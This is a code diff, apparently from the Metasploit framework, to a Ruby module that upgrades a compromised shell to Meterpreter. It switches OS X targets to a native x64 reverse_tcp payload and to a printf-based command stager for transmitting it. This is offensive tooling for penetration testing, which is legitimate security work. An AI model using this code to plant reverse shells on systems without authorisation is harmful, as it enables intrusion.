@@ -81,8 +81,10 @@ def run
81
81
psh_arch = 'x86'
82
82
vprint_status ( "Platform: Windows" )
83
83
when 'osx'
84
- platform = 'python'
85
- payload_name = 'python/meterpreter/reverse_tcp'
84
+ platform = 'osx'
85
+ payload_name = 'osx/x64/meterpreter/reverse_tcp'
86
+ lplat = [ Msf ::Platform ::OSX ]
87
+ larch = [ ARCH_X64 ]
86
88
vprint_status ( "Platform: OS X" )
87
89
when 'solaris'
88
90
platform = 'python'
@@ -99,8 +101,10 @@ def run
99
101
larch = [ ARCH_X86 ]
100
102
vprint_status ( "Platform: Linux" )
101
103
elsif target_info =~ /darwin/i
102
- platform = 'python'
103
- payload_name = 'python/meterpreter/reverse_tcp'
104
+ platform = 'osx'
105
+ payload_name = 'osx/x64/meterpreter/reverse_tcp'
106
+ lplat = [ Msf ::Platform ::OSX ]
107
+ larch = [ ARCH_X64 ]
104
108
vprint_status ( "Platform: OS X" )
105
109
elsif cmd_exec ( 'python -V 2>&1' ) =~ /Python (2|3)\. (\d )/
106
110
# Generic fallback for OSX, Solaris, Linux/ARM
@@ -162,7 +166,7 @@ def run
162
166
print_error ( 'Powershell is not installed on the target.' ) if datastore [ 'WIN_TRANSFER' ] == 'POWERSHELL'
163
167
vprint_status ( "Transfer method: VBS [fallback]" )
164
168
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
165
- aborted = transmit_payload ( exe )
169
+ aborted = transmit_payload ( exe , platform )
166
170
end
167
171
end
168
172
when 'python'
@@ -171,7 +175,7 @@ def run
171
175
else
172
176
vprint_status ( "Transfer method: Bourne shell [fallback]" )
173
177
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
174
- aborted = transmit_payload ( exe )
178
+ aborted = transmit_payload ( exe , platform )
175
179
end
176
180
177
181
if datastore [ 'HANDLER' ]
@@ -181,7 +185,7 @@ def run
181
185
return nil
182
186
end
183
187
184
- def transmit_payload ( exe )
188
+ def transmit_payload ( exe , platform )
185
189
#
186
190
# Generate the stager command array
187
191
#
@@ -193,16 +197,18 @@ def transmit_payload(exe)
193
197
:linemax => linemax ,
194
198
#:nodelete => true # keep temp files (for debugging)
195
199
}
196
- if session . platform == 'windows'
200
+ case platform
201
+ when 'windows'
197
202
opts [ :decoder ] = File . join ( Rex ::Exploitation ::DATA_DIR , "exploits" , "cmdstager" , 'vbs_b64' )
198
203
cmdstager = Rex ::Exploitation ::CmdStagerVBS . new ( exe )
204
+ when 'osx'
205
+ opts [ :background ] = true
206
+ cmdstager = Rex ::Exploitation ::CmdStagerPrintf . new ( exe )
199
207
else
200
208
opts [ :background ] = true
201
209
opts [ :temp ] = datastore [ 'BOURNE_PATH' ]
202
210
opts [ :file ] = datastore [ 'BOURNE_FILE' ]
203
211
cmdstager = Rex ::Exploitation ::CmdStagerBourne . new ( exe )
204
- # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
205
- # as /bin/sh on OS X doesn't support the -n option on echo
206
212
end
207
213
208
214
cmds = cmdstager . generate ( opts )
0 commit comments